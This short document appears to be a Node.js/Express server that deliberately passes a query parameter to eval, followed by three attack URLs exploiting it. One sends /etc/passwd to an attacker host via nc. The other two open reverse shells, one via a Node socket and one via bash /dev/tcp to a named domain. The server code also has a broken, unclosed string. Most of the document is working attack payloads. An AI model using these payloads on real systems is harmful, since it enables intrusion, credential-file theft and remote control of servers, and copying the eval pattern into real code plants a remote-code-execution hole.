var express = require('express'); 
var app = express(); 
app.get('/', function (req, res) { 
  res.send('Hello eval(req.query.q));
  console.log(req.query.q);
});
app.listen(8080, function () { 
  console.log('Example listening on port 8080!');
});

http://host:8080/?q=require('child_process').exec('cat+/etc/passwd+|+nc+attackerip+80')

http://host:8080/?q=var+net+=+require("net"),+sh+=+require("child_process").exec("/bin/bash");var+client+=+new+net.Socket();client.connect(80,+"attackerip",+function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});

http://host:8080/?q=require("child_process").exec('bash -c "bash -i >%26 /dev/tcp/wufeifei.com/7890 0>%261"')